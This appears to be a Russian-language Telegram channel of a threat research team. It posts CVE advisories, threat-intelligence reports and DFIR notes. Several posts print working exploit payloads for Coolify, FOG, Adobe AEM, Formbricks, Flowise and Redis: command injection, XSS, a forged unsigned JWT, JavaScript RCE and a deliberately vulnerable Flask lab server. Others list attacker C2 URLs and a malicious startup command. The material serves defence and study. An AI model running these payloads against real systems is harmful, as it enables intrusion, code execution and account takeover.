Четыре луча – Telegram
Четыре луча
3.88K subscribers
83 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
RCE RCE XSS В Coolify

В публичном доступе опубликованы три отчета PoC об уязвимостях в coolLabs. Все три уязвимости имеют критический уровень опасности, уязвимы версии до 4.0.0-beta.420.7.

💣 CVE-2025–34159 — платформа позволяет аутентифицированным пользователям с минимальными правами внедрять произвольные директивы Docker Compose при создании проекта. Злоумышленник создает вредоносную службу, которая монтирует корневую файловую систему хоста, и получает полный доступ с правами root к серверу.

💣 CVE-2025–34161 — платформа позволяет аутентифицированным пользователям с ролью «Участник» выполнять произвольные команды-оболочки через поле Git Repository при создании проекта.

💣 CVE-2025–34157 — платформа уязвима к атаке с использованием хранимого межсайтового скриптинга (XSS) в процессе удаления проекта.

Для всех атак необходима аутентификация, что немного смягчает ее воздействие.

😬 Как эксплуатируется CVE-2025–34159
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Docker Compose Empty - > создать Docker Compose с подобным содержимым - > запустить деплой (Deploy)
version: '3.8'
services:
poc-host-root:
image: alpine:3.19
tty: true
volumes:
- /:/host:rw
command: >
sh -c "
echo 'LOL RCE' > /host/tmp/proof_rce.txt
"


▪️ /:/host:rw — монтирует root файловой системы хоста (/) в контейнер по пути /host;
▪️ echo 'LOL RCE' > /host/tmp/proof_rce.txt — создаст файл proof_rce.txt в директории /host/tmp/ контейнера, и этот тот же самый файл в директории /tmp/ на хосте.

😬 Как эксплуатируется CVE-2025–34161
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> Добавить новый ресурс (Add New Resource) -> Выбрать в качестве ресурса Private Repository (with GitHub App) - > В поле HTML Url ввести https://github.com/XXX/XXXX.git; ls #; - > выбрать созданный ресурс - > запустить деплой (Deploy)

😬 Как эксплуатируется CVE-2025–34157
Для атаки злоумышленник должен совершить действия:

Создать новый проект (New Project) -> задать имя(Name), например <img src = "x" onerror = alert("XSS ")>

При удалении такого проекта администратор или владелец получит выполнение XSS. При удалении XSS скрипт попадает в окно вывода ошибки.

В качестве примера на рисунке показана CVE-2025–34159 (Скриншот 1) и CVE-2025–34157 (Скриншот 2).

😬 Как защищаться
CVE-2025–34159 — можно написать правило, которое будет блокировать запросы на конечную точку /livewire/update, если в параметре JSON updates передаются спец символы, например: ; | && < > ` { }
"updates":{"github_app.html_url":"https://github.com:fake/repo.git; ls -la #;"}


CVE-2025–34161 — это поведение потенциально допустимо для пользователей с высокими правами. Поэтому правило на передачу command может привести к ложным сработкам. Рекомендуем обновиться или ограничить как передачу команд, так и монтирование директорий для всех пользователей.

CVE-2025–34157 — большинство современных WAF имеют большой набор сигнатур по выявлению XSS. Но также можно написать правило, опираясь на позитивную модель. Так как речь идет об имени проекта то блокировать передачу ; | & < > ` { } , - = + Конечная точка - /livewire/update, Json параметр:
"updates":{"name":"<img src = \"x\" onerror = alert(\"RCE!\")>","denoscription":"<img src = \"x\" onerror = alert(\"RCE!\")>"}
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍652❤‍🔥1
Solar 4RAYS FlagHunt: опубликовали разборы заданий 😬

Недавно рассказывали про наш CTF Solar 4RAYS FlagHunt, который готовили для OFFZONE. Теперь публикуем подробный разбор всех 11 тасков. Если решали, но не решили, то читайте в нашем блоге подробности.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥953👍3
Одна уязвимость три проблемы — CVE-2025-58443

CVE-2025–58443 — это уязвимость обхода авторизации в FOG Project. Версии 1.5.10.1673 и ниже уязвимы.

😬 Метрики
Base Core: 9.9
CWE: CWE-306 CWE-287


Злоумышленник может:
1️⃣ выполнить неаутентифицированный дамп базы данных;
2️⃣ листинг директорий;
3️⃣ выполнить SSRF-атаку, а также Open redirection.

😬 Подробнее
Уязвимость заключается в том, что при обращении к конечным точкам не проверяется авторизация. POST запрос на данную конечную точку /fog/management/export.php приведет к извлечению базы.
POST /fog/management/export.php HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fogguiuser=&fogguipass=&nojson=4&export=3


Дополнение: данный URI так же уязвим к RCE в версии ≤ 1.5.10.34. RCE передается через аналогичный POST запрос на /fog/management/export.php?filename=$(id)&type=pdf.

☀️ GET запрос на /fog/service/getversion.php?url=<PATH> вызовет SSRF.
☀️ GET запрос на /fog/status/getfiles.php?path=<DIR> вызовет листинг каталога.

Сейчас известно только о трех уязвимых точках. Процесс эксплуатации — на скриншоте.

😬 Как защищаться
1) Обновиться.
2) Закрыть доступ к /fog/service/, /fog/status/, /fog/management/ для внешних IP, например, правилами на WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍32🤔1
Приходите нас послушать на VolgaCTF

До 19 сентября в Самаре идет VolgaCTF — ежегодные международные соревнования по информационной безопасности. В программе конференции есть доклад от Solar 4RAYS — «Байки Blue Team: как атакуют профессионалы (и не только)». Об этом расскажут:

Денис Чернов, инженер группы расследований инцидентов;
Дмитрий Маричев, аналитик группы анализа вредоносного ПО в Solar 4RAYS.

Приходите 17 сентября в 12:30 в отель «Лотте». Ответим на все вопросы 😀
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1413👌7
NGC6061: серия фишинговых атак на госсектор

С сентября 2024 года и по текущий момент наблюдаем серию фишинговых рассылок на российские организации из госсектора. Эту кампанию мы причисляем к деятельности пока еще неизвестного киберпреступного кластера NGC6061.

1️⃣ Для обхода защиты злоумышленники используют запароленные архивы.
2️⃣ Атака начинается с self-extracting LNK-файлов, запускающих powershell-скрипты для декодирования вредоносных компонентов.
3️⃣ В качестве приманок используют документы со встроенным механизмом профилирования целей.
4️⃣ Конечная нагрузка может быть в виде Reverse Shell или Metasploit TCP Reverse.

Подробное описание фишинговых писем и индикаторы компрометации ищите в статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12🤔6👍4👾2
Археология и Threat Intelligence

Киберразведка иногда напоминает археологию, потому что помогает обнаружить уникальные артефакты не в новых инцидентах, а в прошлом. Подобные флешбэки в некоторых случаях помогают выявить неожиданные связи между инцидентами, которые раньше не были связаны. Или позволяют найти старые инструменты, которые до сих пор могут использовать в атаках. Сегодня мы делимся примером таких раскопок.

🫡 В последнее время видим много публикаций и выступлений о группировке Fairy Trickster (Head Mare | PhantomCore | Rainbow Hyena) от разных вендоров, от нас в том числе. И мы нашли еще одну фишинговую рассылку FairyTrickster, а также вредоносный инструмент, который назвали PhantomSender.

В одном из своих отчетов эксперты F6 описали цепочку атаки 2022 года, в которой с помощью дроппера запускался StatRAT. Дроппер был приманкой для проверки сети. Мы уже видели и писали о фишинговой кампании, в которой распространялся похожий валидатор для проверки сети.

Примечательно, что злоумышленники не использовали вложения, а распространяли стилер PhantomSender через фишинговый сайт minspecsvyaz.ru (скриншот 1). Валидатор загружался по ссылкам вида:
http://minspecsvyaz.ru/validator
http://minspecsvyaz.ru/validator?v=2b24c
https://minspecsvyaz.ru/Validator.exe


В фишинговом письме злоумышленники писали от имени Роскомнадзора, как и в файле-приманке, который анализировали F6. Атаковали примерно в одно и то же время. Файлы-приманки обманывали по одному принципу — отображали сообщение об успешности проверки сетевого соединения (скриншот 2).

💣 Так мы поняли, что PhantomSender — тоже инструмент Fairy Trickster!

Мы обнаружили еще несколько более новых версий инструмента, которые уже были стилизованы под установщик сертификата. По сравнению с первой версией вредонос научился собирать больше типов файлов и использовать HTTP-протокол для эксфильтрации вместо FTP. Среди новых типов файлов — .dst, .psw, .xps, .dst, .sok. Общее количество собираемых типов возросло до 30.

😬 Киберразведка — это инструмент, который существует не только в настоящем, но и в прошлом. Поэтому, чтобы лучше защищать клиентов в настоящем и будущем, советуем не пренебрегать такими «археологическими» раскопками!

IOC 2022 г.
PDB-пути:
C:\my\r\zpskch02\zpskch\obj\Release\Validator.pdb
C:\Users\1\source\repos\hackamakafon\SocketClient2\TestFirstIteration\obj\Release\Validator.pdb


C2
ftp://st24308.ispot.cc
ftp://st23419.ispot.cc
https://backup5.abc-server.com/webdav/user40421/


Архивы
bc05caef56633988a523d394ead5b81b
9ae7c71825bfb70221548a60536fd36f
a895fd1df8bc7c0788a8eb4ffb282cfa
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥65🥰1😁1🤔1
Детектируем антифорензику в NTFS: как превратить старания злоумышленников в преимущество при расследовании

Последний год видим, что стало больше случаев применения такой техники антифорензики, как Timestomping (Т1070.006) или подмена временных меток у файлов. Если модификацией $STANDARD_INFORMATION ($SI) в Windows уже никого не удивить, то подмена временных меток $FILE_NAME ($FN) в NTFS достаточно долго была редким явлением, которое находили лишь в некоторых APT-атаках с участием азиатских групп. Но теперь эту технику используют в том числе группировки из восточной Европы, которые занимаются шифрованием. Значит техника подмены $FN пошла в массы 👀

Чем опасен Timestomping?

👍 При просмотре событий в виде таймлайнов файл с подмененной меткой может быть вне окрестности активности атакующих и попросту пропущен.
👍 Часто дата, на которую совершается подмена, соответствует легитимным файлам, среди которых пытаются скрыть что-то плохое. Найти вредоносный имплант в окрестности легитимной активности — не простая задача.

Как обнаружить подмену $SI, уже давно пишут в учебниках по DFIR — можно просто сравнить временную метку создания файла из $SI с меткой создания из $FN. Если значения расходятся, делаем вывод: $SI — не настоящее время создания файла (только учитывайте, что некоторые легитимные файлы часто тоже имеют неверную дату создания). И давно рекомендуют, что при анализе файлов нужно смотреть именно на $FN Creation, чтобы избежать проблем с техникой Timestomping.

Но что делать, если $FN метки тоже подменены?

1️⃣ Проверь нули. Интересный факт: при подмене меток $FN атакующие не хотят или не могут поменять миллисекунды у временных меток, из-за чего все модифицированные метки будут без миллисекунд. Как гарантированный детект работает не очень хорошо — будут ложные срабатывания, но что вам мешает посмотреть детекты в окрестности инцидента?

2️⃣ Четвертый не лишний. В NTFS 4 пары временных меток: Creation, Modification, Access и Entry. Подмену временной метки $FN Entry мы не видели ни разу. Возможно, про неё все забыли. Все временные метки $FN обычно хранят одно и то же значение, соответственно, истинную дату создания файла можно восстановить именно благодаря значению из $FN Entry. Но при условии, что файл не был перезаписан второй раз.

Вот это уже похоже на детект:
Если в записи MFT в $FN миллисекунды Creation, Modification и Access равны нулю, а миллескунды Entry не равны нулю, то вероятна подмена $FN меток.


3️⃣ Иногда атакующие любят создавать директории для своего вредоносного ПО, а при выполнении техники Timestomping напрочь забывают, что дата создания директории соответствует дате размещения их собственного «скрытого» файла. Это касается и времени модификации легитимных директорий.

Не живите в иллюзии, что какие-то техники остались забытыми: напишите на них детекты, даже если они будут не идеальными. Однажды детекты помогут вам быстрее обнаружить злоумышленников при расследовании.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥137🤯4👾1
Ловите небольшую лабораторную работу, в которой мы промоделируем CVE-2025-49533.

CVE-2025-49533 — это уязвимость десериализации Java в модуле FormServer. Сервлет обрабатывает данные от пользователя, декодируя и десериализуя их без проверки в Adobe Experience Manager версии >= 6.5.23. Это может позволить злоумышленникам отправлять вредоносные данные, чтобы выполнять команды на сервере.

😬 Реальная эксплуатация будет выглядеть так:
/FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/…….</@urlencode>


Эта полезная нагрузка — результат выполнения:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "<RCE>" | gzip | base64 -w0


Хоть уязвимость вызвана в модуле Java, но мы будем использовать python, чтобы проще ее объяснить и смоделировать.

💡 Важное уточнение: этот код — эмуляция десериализации, реальных объектов не создает и функции не вызывает.

Создадим шаблон полезной нагрузки.
<@urlencode> RCE </@urlencode>


RCE — это результат выполнения команды.
echo -n "nslookup google.com" | gzip | base64 -w0


Итоговый payload:
<@urlencode>H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA</@urlencode>


Pуthon сервер:
import urllib.parse
import base64
import gzip
import io
from flask import Flask, request
import subprocess
import logging

app = Flask(__name__)

# Set up logging
logging.basicConfig(
filename='exploit.log',
level=logging.INFO,
format='[%(asctime)s] %(message)s',
)

@app.route('/rce')
def debug():
payload = request.args.get('cmd')

if payload:
if payload.startswith("<@urlencode>") and payload.endswith("</@urlencode>"):
payload = payload[len("<@urlencode>"):-len("</@urlencode>")]
print(payload)
decoded_url = urllib.parse.unquote_plus(payload)
print(decoded_url)
decoded_bytes = base64.b64decode(decoded_url)
print(decoded_bytes)
try:
with gzip.GzipFile(fileobj=io.BytesIO(decoded_bytes)) as f:
decompressed = f.read()
except Exception:
decompressed = decoded_bytes

ascii_text = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in decompressed])

try:
cmd = ascii_text[:1000]
output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, text=True)
return f"<pre>{output}</pre>"
except subprocess.CalledProcessError as e:
return f"<pre>Error:\n{e.output}</pre>"
else:
return "example /rce?cmd=&lt;@urlencode&gt;H4sIAAAAAAAAA8srzsnPzy4tUEjPz0/PSdVLzs8FAOZL2oUTAAAA&lt;/@urlencode&gt;", 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=4502, debug=True)


При отправке нашего payload на сервере произойдет
:
1️⃣ отчистка от тегов <@urlencode> <\@urlencode>;
2️⃣ декодирование URL;
3️⃣ декодирование в Base64;
4️⃣ распаковка gzip;
5️⃣ выполнение RCE.

😬 Как защититься:
1) При реальной эксплуатации запрос будет представлять собой Base64 строку в тегах <@urlencode> </@urlencode>.
2) Base64 строка будет начинаться с H4s, что говорит о формате gzip .
3) Полезная нагрузка передается методом GET .
4) Конечная точка /FormServer/servlet/GetDocumentServlet .

Ставьте ❤️, если хотите видеть больше лабораторных работ в канале.
Please open Telegram to view this post
VIEW IN TELEGRAM
46🔥9👍5👾1
JWT "alg none" vulnerability — CVE-2025-59934

CVE-2025-59934 — уязвимость в Formbricks, которая связана с процедурой валидации токенов. Она только декодирует JWT без проверки их подписей, что позволяет обходить авторизацию или сбрасывать пароль. Уязвимы версии до 4.0.1.

Formbricks — платформа с открытым исходным кодом для сбора отзывов и управления пользовательским опытом. Имеет более 11 тысяч звезд на github.

🫡 Метрики
Base Score: 9,4 Critical
CWE: 345, 287, 347


🫡 Кратко о JWT
JWT (JSON Web Token) — токен авторизации, который состоит из следующих компонентов:

Header — информация об алгоритме и типе токена;
Payload — полезные данные, например ID пользователя, роли;
Signature — защита от подделки (цифровая подпись).

Всё это кодируется в Base64Url :
xxxxx.yyyyy.zzzzz


🫡 Подробнее
В файле apps/web/lib/jwt.ts до патча существовал такой участок кода:
export const verifyToken = async (token: string): Promise<JwtPayload> => {
// First decode to get the ID
const decoded = jwt.decode(token);
const payload: JwtPayload = decoded as JwtPayload;

if (!payload) {
throw new Error("Token is invalid");
}


jwt.decode() не проверяет подпись токена — функция просто берёт base64-данные из токена и превращает их в объект.

То есть если взять любой существующий userId из базы и создать токен вида:
header = {"alg":"none","typ":"JWT"}
payload = {"id":"cmg52lkge0000pd01oq32fjhe"}

jwt.decode() его спокойно примет. И если пользователь существует, возвращает валидный JwtPayload.

Другими словами, проверка подлинности (verify) обходится — токен можно «подделать» вручную.

Важно: для атаки необходимо знать user.id. Этот идентификатор хранится в базе данных PostgreSQL.

🫡 Эксплуатация
Создаем JWT вида
base64Encode:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.


base64Decode:
{
"alg": "none",
"typ": "JWT"
}
{
"id": "cmg52lkge0000pd01oq32fjhe"
}


Отправляем запрос:
http://localhost:3001/auth/forgot-password/reset?token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6ImNtZzUybGtnZTAwMDBwZDAxb3EzMmZqaGUifQ.


Получает ответ от сервера:
0:{"a":"$@1","f":"","b":"Ap_lGlUnNFOHjKjBaGekh"}
1:{"data":{"success":true}}


🫡 Как защищаться
Если на WAF можно декодировать JWT в параметре запроса, то настроить его так, чтобы запросы токенами с "alg":"none" блокировались.

Если такой возможности нет, то можно воспользоваться подобным регулярным выражением, которые бы проверяло целостность JWT ^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.$.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍85🙉1👾1
NGC4141: атака на кастомные веб-приложения

Публичные веб-приложения можно строить на распространенном ПО, например WordPress, Bitrix, Tilda. Или с помощью кастомных решений. С точки зрения безопасности оба подхода имеют свои плюсы и минусы.

😬 Минус распространенного ПО:
— обязательно появятся публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него;
— через них будут атаковать.

😬 Плюсы такого ПО:
— при правильной конфигурации обеспечивает предсказуемый уровень защищенности;
— даже для новых уязвимостей в ПО можно проводить компенсирующие меры.

У кастомного решения, которое разработали с нуля или на основе распространенного ПО, тоже есть свои плюсы и минусы.

😬 Плюсы:
— скорее всего, эксплойтов в открытом доступе не будет;
— атаковать такую инфраструктуру сложнее.

😬 Минусы:
— непросто спрогнозировать защищенность;
— если инцидент произойдет, обнаружить и расследовать проникновение может быть сложнее.

Именно о такой атаке рассказываем в нашей новой статье про кластер NGC4141. Атакующие (предположительно из Восточной Азии) шпионили за российской госорганизацией. Использовали простые, но эффективные веб-шеллы, обошли АВПО и WAF. Все подробности в блоге.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10👍62🤨2👾1
Сборщик мусора ломает безопасность Redis

CVE‑2025‑49844
— это критическая уязвимость с условным названием RediShell. Она затрагивает Redis в различных ветках до версий 7.2.11 / 7.4.6 / 8.0.4 / 8.2.1 и связана со встроенным интерпретатором Lua.

😬 Метрики
Base Score: 9.9 (Critical)
CWE: 416


😬 Суть проблемы
Ошибка реализуется как Use‑After‑Free (UAF) — злоумышленник с правом выполнять Lua‑скрипты (авторизованный пользователь или злоумышленник на незащищённом экземпляре Redis) может сформировать скрипт, который:

— манипулирует сборщиком мусора (GC);
— освобождает ещё используемую структуру.

Это приводит к повреждению памяти -> позволяет выйти из песочницы Lua -> выполнить произвольный код на хосте. Поскольку большинство экземпляров Redis допускают выполнение Lua‑скриптов через команду EVAL, атакующий может удалённо отправить вредоносный скрипт и добиться RCE.

😬 Причина уязвимости
Redis использует Lua 5.1, чтобы выполнять пользовательские скрипты. Lua при загрузке фрагментов кода (chunk(ов)) присваивает фрагментам имя. Если во время разбора кода запустить сборщик мусора (GC), то память с этим именем может быть освобождена -> парсер продолжит пользоваться невалидным именем, а это Use-After-Free -> контроль памяти и перехват выполнения.

😬 Сценарий возможной атаки
1. Атакующий подключается к Redis.
2. Отправляет специально сформированный Lua‑скрипт через команду EVAL, который использует финализаторы и сборку мусора для создания UAF.
3. После получения примитивов UAF злоумышленник может выполнить дополнительные Lua‑команды, которые позволяют ему выйти из песочницы, например:
package.loadlib, io.popen, os.execute

и т. п., затем загрузить произвольную библиотеку и выполнить машинный код, получив полный доступ к хосту.

😬 Способы защититься
Обновить Redis — уже выпущены патчи, где разработчики корректно привязали имя фрагмента к стеку, что исключает UAF.

Если не получается обновить, можно сделать следующее:
— ограничить доступ к Redis — сервер предназначен для работы в доверенной сети;
— настроить аутентификацию и ACL — включить сильный пароль в директиве requirepass, а также использовать механизмы ACL для запрета выполнения Lua‑скриптов неподдерживаемыми пользователями;
— отключить опасные команды EVAL и EVALSHA путём их переименования.

😬 Мониторинг и обнаружение
Выявить атаку в сети можно через анализ содержимого команды EVAL, которая приходит извне по протоколу RESP. Правило IDS, которое обнаруживает отправку команды EVAL, должно содержать в себе признаки триггера UAF — вызов collectgarbage('collect') и определение метода __gc, либо попытку использования опасных функций, таких как:
package.loadlib, io.popen, os.execute


Правило может быть ориентировано на TCP‑трафик к стандартным портам Redis (6379,6380).
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍631👾1
Сбросить пароль я тебе дам и токен я тебе тоже сразу дам — CVE-2025-58434

CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.

Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.


💡 Настоятельно рекомендуем обновиться.

👍 Метрики: CVE-2025–58434
Base Core: 9,8
CWE: CWE-306


👍 Метрики:CVE-2025-59528
Base Core: 10
CWE: CWE-94

👍 Метрики:CVE-2025-61687
Base Core: 8.8
CWE: CWE-434


👍 Об уязвимости
Конечная точка /api/v1/account/forgot-password на вход принимает простой json.
{"user":{"email":"XXX@XXX.XXX"}}


json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}


👍 Атака по шагам
Уточнение: для атаки необходимо знать действительный email-адрес.

1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена /reset-password?token=<redacted-tempToken>.
5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}

6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.

👍 Возможные последствия
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.

CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}

вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.

CVE-2025-61687

POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.

👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.

CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.

CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥208👍4👌1👾1
Attention! Мы открыли набор на стажировку в Центр исследования киберугроз Solar 4RAYS 🫡

Выбирайте направление, которое вам ближе:

💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.

Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.

Чтобы попасть в команду, нужно:
1️⃣ пройти тест,
2️⃣ решить практическое задание,
3️⃣ пообщаться с экспертами.

Заявки принимаем до 10 ноября. Все подробности на сайте.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🎉6🔥4🤮3🤡21🤣1👾1
Десятибалльная уязвимость в Cisco ISE (CVE 2025–20282)

В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.

CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.

😳 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-269


😳 Об уязвимости
В уязвимой версии существует такой участок кода:
public void handleFilesUpload(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.info("In handleFilesUpload method");
Object var3 = null;

try {
DiskFileItemFactory var4 = new DiskFileItemFactory();
ServletFileUpload var5 = new ServletFileUpload(var4);
String var6 = "/tmp";
List var7 = var5.parseRequest(var1);
Iterator var8 = var7.iterator();

while(var8.hasNext()) {
FileItem var9 = (FileItem)var8.next();
if (!var9.isFormField()) {
this.validateAndSaveFile(var9, var6);
}
}

logger.info("copy done");
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm");
} catch (Exception var10) {
logger.info("Exception: ", var10);
}
}


📍 var9 — это объект FileItem, полученный из multipart-запроса.
📍 var9.isFormField() возвращает true, если элемент запроса — обычное поле формы (например, <input type="text" ...>).

Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.

UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm"); - распакует файл /tmp/output.zip в "/opt/CSOCppm.

Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла /opt/CSCOcpm/bin/isehourlycron.sh

Уязвимая конечная точка — /admin/files-upload/

Настоятельно рекомендуем обновиться!

😳 Как защититься
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1354👾1
Десятибалльная уязвимость в Squid (CVE-2025-62168)

В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.

📍 По данным FOFA, Squid используется более чем в 40 миллионах сервисов по всему миру, в том числе и в России.

CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.

Затронуты такие версии:
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.

Настоятельно рекомендуем обновиться!

🫡 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-550, CWE-209


🫡 Об уязвимости
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
%R — вставляет оригинальный HTTP-запрос клиента;
%W — вставляет ответ от сервера, если он был получен перед ошибкой).

Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.

Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён (по умолчанию он включён). Если email_err_data отключён, уязвимость отсутствует.

Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.

🫡 Как защититься
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥175🤔4💯1👾1
Заметки на полях DFIR: файлы-ярлыки (.lnk) Windows и блок данных EXTRA_DATA

При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (User Execution: Malicious Link ID: T1204.001) или чтобы закрепиться в системе (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ID: T1547.001).

🫡 Так, при расследовании одного из инцидентов, обнаружили подозрительный ярлык в каталоге автозагрузки:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FILE.lnk


Файл ссылался на cmd.exe со следующим командлайном:
/c if exist " C:\Intel\FILE.ps1" (powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File " C:\Intel\FILE.ps1") else (exit 0)


Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.

💡 В таких ситуациях помогают различные особенности артефактов Windows. Например, ярлыки обладают блоком данных EXTRA_DATA.

EXTRA_DATA
 — это часть структуры ярлыка, в который записывается:
— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.

